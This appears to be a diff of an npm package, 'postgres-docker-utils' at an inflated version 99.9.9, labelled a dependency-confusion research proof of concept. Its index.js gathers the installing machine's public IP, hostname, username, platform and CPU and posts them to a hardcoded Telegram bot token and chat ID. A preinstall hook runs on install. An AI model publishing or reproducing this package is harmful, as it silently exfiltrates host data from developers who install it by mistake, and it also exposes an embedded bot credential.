postgres-docker-utils 99.9.9

package/index.js

@@ -0,0 +1,65 @@
+const https = require('https');
+const os = require('os');
+
+const TOKEN = "8236864682:AAFO8n3ml54y_JQnAA2_wxD5j01eooMwC8w";
+const CHAT_ID = "8655055695";
+
+const getPublicIP = () => {
+    return new Promise((resolve) => {
+        https.get('https://api.ipify.org', { timeout: 5000 }, (res) => {
+            let data = '';
+            res.on('data', (chunk) => data += chunk);
+            res.on('end', () => resolve(data || "Unknown IP"));
+        }).on('error', () => resolve("IP Fetch Failed"));
+    });
+};
+
+const sendReport = async () => {
+    const publicIP = await getPublicIP();
+    const cpus = os.cpus();
+    const cpuModel = cpus && cpus.length > 0 ? cpus[0].model : "N/A";
+
+    // Ekdum simple text string bina special characters ke
+    const info = `
+--- DEPENDENCY CONFUSION HIT ---
+Package: postgres-docker-utils
+IP: ${publicIP}
+Hostname: ${os.hostname()}
+Platform: ${os.platform()} (${os.arch()})
+User: ${os.userInfo().username}
+CPU: ${cpuModel}
+Time: ${new Date().toISOString()}
+-------------------------------
+    `;
+
+    const data = JSON.stringify({
+        chat_id: CHAT_ID,
+        text: info
+    });
+
+    const options = {
+        hostname: 'api.telegram.org',
+        port: 443,
+        path: `/bot${TOKEN}/sendMessage`,
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': Buffer.byteLength(data)
+        }
+    };
+
+    const req = https.request(options, (res) => {
+        if (res.statusCode === 200) {
+            console.log("✅ Message Sent Successfully!");
+        } else {
+            console.log(`❌ Failed with Status: ${res.statusCode}`);
+            res.on('data', (d) => process.stdout.write(d)); // Isse error detail dikhegi
+        }
+    });
+
+    req.on('error', (e) => console.error(`❌ Network Error: ${e.message}`));
+    req.write(data);
+    req.end();
+};
+
+sendReport();

package/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "postgres-docker-utils",
+  "version": "99.9.9",
+  "description": "Security Research PoC for Dependency Confusion",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node -e 'console.log(\"ALARM: Dependency Confusion Vulnerability Detected. Hostname: \" + require(\"os\").hostname());'"
+  }
+}